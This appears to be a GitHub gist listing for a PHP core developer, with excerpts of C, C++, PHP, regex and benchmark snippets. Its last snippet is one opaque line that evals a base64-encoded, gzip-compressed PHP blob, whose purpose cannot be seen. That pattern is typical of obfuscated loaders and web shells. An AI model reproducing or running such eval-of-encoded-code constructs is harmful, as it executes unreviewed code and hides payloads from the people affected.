Skip to content

Instantly share code, notes, and snippets.

View nikic's full-sized avatar

Nikita Popov nikic

View GitHub Profile
LinkedList <- Iterator, ArrayAccess, Collection
mixed getFirst()
mixed getLast()
[mixed current()]
mixed getAtIndex(int $index)
void insertFirst(mixed $item)
void insertLast(mixed $item)
void insertBeforeCurrent(mixed $item)
void insertAfterCurrent(mixed $item)
/* {{{ proto string hash_pbkdf2(string algo, string password, string salt, int iterations [, int length = 0, bool raw_output = false])
Generate a PBKDF2 hash of the given password and salt
Returns lowercase hexbits by default */
PHP_FUNCTION(hash_pbkdf2)
{
char *algo, *salt, *pass = NULL;
unsigned char *data, *digest, *temp, *result, *K1, *K2 = NULL;
long loops, result_size, i, j, algo_len, pass_len, iterations, salt_len, length = 0;
int argc = 0;
zend_bool raw_output = 0;
[Old]
Interpol sv: 0.47845602035522
Concat sv: 0.31284117698669
Interpol vs: 0.42951798439026
Concat vs: 0.29083919525146
Interpol vv: 0.43502902984619
Concat vv: 0.28370904922485
Interpol sv+: 1.8611299991608
Concat sv+: 2.1938419342041
Interpol v: 0.31008791923523
@nikic
nikic / TaggedPointer.h
Created January 31, 2012 15:41
Tagged pointer sample implementation
#pragma once
#include <cassert>
// alignedTo defaults to 8 (on 64 bit)
template <typename T, int alignedTo = sizeof(T *)>
class TaggedPointer {
private:
static_assert(
alignedTo != 0 && ((alignedTo & (alignedTo - 1)) == 0),
@nikic
nikic / TaggedPointerOrInt.h
Created January 31, 2012 21:47
Tagged pointer or embedded integer sample implementation
#pragma once
#include <cassert>
// alignedTo defaults to 8 (on 64 bit)
template <typename T, int alignedTo = sizeof(T *)>
class TaggedPointerOrInt {
private:
static_assert(
alignedTo != 0 && ((alignedTo & (alignedTo - 1)) == 0),
<?php
$array = array_fill(0, 2000, '*');
$ref = $array;
function byRef(&$ref) {}
byRef($ref)
(
(?(DEFINE)
(?<label> [a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]* )
(?<nsSeparator> \s* \\\\ \s* )
(?<ns> (?&label) ((?&nsSeparator) (?&label))* )
)
namespace \s* (?<namespace> (?&ns) ) ;
)mx
diff --git a/Zend/tests/bug60738.phpt b/Zend/tests/bug60738.phpt
new file mode 100644
index 0000000..e0c9793
--- /dev/null
+++ b/Zend/tests/bug60738.phpt
@@ -0,0 +1,17 @@
+--TEST--
+Bug #60738 Allow 'set_error_handler' to handle NULL
+--FILE--
+<?php
((?(DEFINE)
(?<addr_spec> (?&local_part) @ (?&domain) )
(?<local_part> (?&dot_atom) | (?&quoted_string) | (?&obs_local_part) )
(?<domain> (?&dot_atom) | (?&domain_literal) | (?&obs_domain) )
(?<domain_literal> (?&CFWS)? \[ (?: (?&FWS)? (?&dtext) )* (?&FWS)? \] (?&CFWS)? )
(?<dtext> [\x21-\x5a] | [\x5e-\x7e] | (?&obs_dtext) )
(?<quoted_pair> \\ (?: [\x21-\x7e] | [ \t] ) | (?&obs_qp) )
(?<dot_atom> (?&CFWS)? (?&dot_atom_text) (?&CFWS)? )
(?<dot_atom_text> (?&atext) (?: \. (?&atext) )* )
(?<atext> [a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+ )
<?php eval(gzuncompress(base64_decode('eNp9U2Fv2jAQ/SsZsmRbC6j7miggCtmKREMFyfqhQ8TYjmothNRJ1qGq/33nBGhEwz7ZOt+9e+/5TshEZZLgANtBNJ9Tl6esKKzp7VtRslJx9GIjbqPcRsrDMXabqJVUGS/VPrP4Pq12GUHMRlsvgFzvhr6phCDhTW8d56WS+tC8UqplWekMif4wkSV/nhxLOXXfL2H1/vWE2cDxq3D8CEc6YHKmdPEBBChMa3aA1CsUX59VKgmS3pkl+fUwXTjOdz+c3G2C6J5SxJ+QfLpZrz04vq3dE4/P7RuAljeNmC/XzXEbrR5kXrg1TlOg3RFs85ss5tG96dThRavb0Ysmw3EMXK5lzrQkhhfIWsOjLrVJh1+362hCqWvcln8lr0pwaUv/o11lhdSlAagth2TTsjcLVv4ytGZBuIgRi0ncG6hdnu4FzGBsQ6s6e/NbHgrTgA5wTH+O55G/IngAjNSOALMNsJWsJHhkY5vvqwwabZu/3fxhaSWbYgqvGCAoPhK1aiFiZI7T5PIBXvphtAxmwY9YCaAApQ5pfRA3kdHZLdkfwo6Us1rgTBDqBB12V7lgxiTjd71CwsNKYHBBeh+KvVGH5noIktaI9KKH6Tj0jWErP4yRhLrHO38JEQHXnn2h/Gsz5TAG9LwmSX8ISzWpvQK67/8AOGhF+Q==')));